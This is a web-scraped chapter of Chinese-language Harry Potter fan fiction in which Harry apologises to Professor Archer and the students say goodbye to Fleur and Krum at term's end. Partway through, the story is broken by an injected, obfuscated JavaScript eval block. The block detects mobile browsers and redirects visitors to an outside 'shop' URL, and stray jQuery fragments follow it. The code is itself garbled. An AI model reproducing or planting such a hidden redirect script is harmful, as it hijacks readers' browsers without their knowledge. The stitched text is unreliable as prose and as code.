赫敏沒好氣地瞟了哈利一眼：“他到現在還不肯跟阿切爾和好，眼看著都要放假了。他難道還打算把這個學期的問題拖到下個學期嗎？”
韋斯萊雙子恍然大悟。
“還以為是什麼大事。”
“原來是這個啊——”
他們不由分說就拉上哈利，一路上嘻嘻哈哈：“跟教授道歉嘛，這件事簡單得很。隻要態度好，教授壓根不會跟你計較的。你是教授的教子，差不多等於她的兒子，她就更不會跟你計較了。”
最終哈利被拖到了斯萊特林的長桌。
阿切爾正在對克魯姆說：“……如果有什麼問題的話，讓貓頭鷹傳信給我。不管怎麼說，我也算是你們的學長學姐，從德姆斯特朗畢業的。”
克魯姆點了點頭，他的身後，德姆斯特朗的學生都在點頭。</
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12938562|122282||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
p>
“阿！阿欠！”哈利緊張地說，然後突然發現自己音發錯了。斯萊特林的長桌先是一愣，然後爆發出一陣大笑。
“阿！阿欠！”德拉科學著他，不停地阿欠阿欠。
“馬爾福！”哈利惱羞成怒。
阿切爾自己都笑得不行，她坐倒在斯萊特林的長凳上：“哈利，我在你那裡什麼時候得了感冒了嗎？”
看到阿切爾如此自然的樣子，哈利反而輕鬆下來。
弗雷德替他說：“教授，哈利是來道歉的——”
“道歉？”阿切爾終於笑夠了，她疑惑。
“就……就是我沒有跟你說的那件事……”哈利漲紅臉，“對不起，阿切爾。”
這下斯萊特林們不敢鬨了，他們看了看哈利，又看了看布拉赫爾教授——
阿切爾這才反應過來，她笑起來，伸手揉了揉哈利亂糟糟的頭發：“好啦，原諒你啦。”
哈利懸著的那顆心終於放了下來。
哈利的箱子已經收拾好了；海德薇也回到了箱子上麵它的籠子裡。哈利、羅恩、赫敏和其他四年級的同學一起，在擁擠的門廳裡等待馬車把他們送往霍格莫德車站。
這又是一個美麗宜人的夏日。哈利猜想，當他晚上到達德思禮家時，那裡肯定很熱，院子裡枝繁葉茂，花圃裡姹紫嫣紅的鮮花競相開放。想到這些，他並沒有感到絲毫喜悅。
“哈利！”
他扭頭望去。芙蓉·德拉庫爾匆匆登上石階，進入城堡。在她後麵的場地那頭，哈利可以看見海格正幫著馬克西姆夫人給兩匹馬套上挽具。布斯巴頓的馬車就要出發了。
“我希望我們還能見麵，”芙蓉走到哈利身邊，伸出一隻手，說道，“我希望在這裡找到一份工作，提高一下我的英語。”
“你的英語已經很棒了。”羅恩聲音有些窒息地說。
芙蓉朝他微笑著。赫敏在一旁皺起了眉頭。
“再見，哈利，”芙蓉說著，轉身離開，“這次見到你們十分愉快。”
哈利注視著芙蓉匆匆順著草坪朝馬克西姆夫人奔去，銀亮色的頭發在陽光下像波浪一樣蕩漾，他的情緒不由自主地愉快起來。
“不知道德姆斯特朗的同學怎麼回去，”羅恩說，“你說，沒有了卡卡洛夫，他們還能駕駛那艘船嗎？”
“卡卡洛夫並不掌舵，”一個沙啞沉悶的聲音說，“他待在艙房裡，活兒都由我們乾。”
克魯姆來跟赫敏道彆了。
“我可以跟你說幾句話嗎？”他問赫敏。
“噢……可以……好吧。”赫敏說，臉上微微泛起紅暈，跟著克魯姆穿過人群，不見了。
“你最好快點兒！”羅恩衝著她的背影大聲喊道，“馬車很快就要來了！”
然而，在接下來的幾分鐘裡，羅恩讓哈利留意馬車，自己一個勁兒地伸長脖子，想看清克魯姆和赫敏在做什麼。那兩人很快就回來了。羅恩盯著赫敏，但赫敏臉上的神情十分泰然。
“我一直很喜歡迪戈裡，”克魯姆很唐突地對哈利說，“他總是對我很有禮貌。總是這樣。儘管我來自德姆斯特朗——和卡卡洛夫一起。”他皺著眉頭補充道。
“你們找到新校長了嗎？”哈利問。
克魯姆聳了聳肩膀。他像芙蓉那樣伸出手，與哈利和羅恩分彆握了握手。從羅恩的表情看，他似乎正在忍受某種痛苦的內心衝突。克魯姆已經準備走開了，羅恩突然說道：“你能給我簽個名嗎？”
赫敏轉過臉，望著那些沒有馬拉的馬車順著車道朝他們緩緩駛來，臉上泛起了微笑：克魯姆顯得既驚訝又欣慰，為羅恩在一片羊皮紙上簽了名。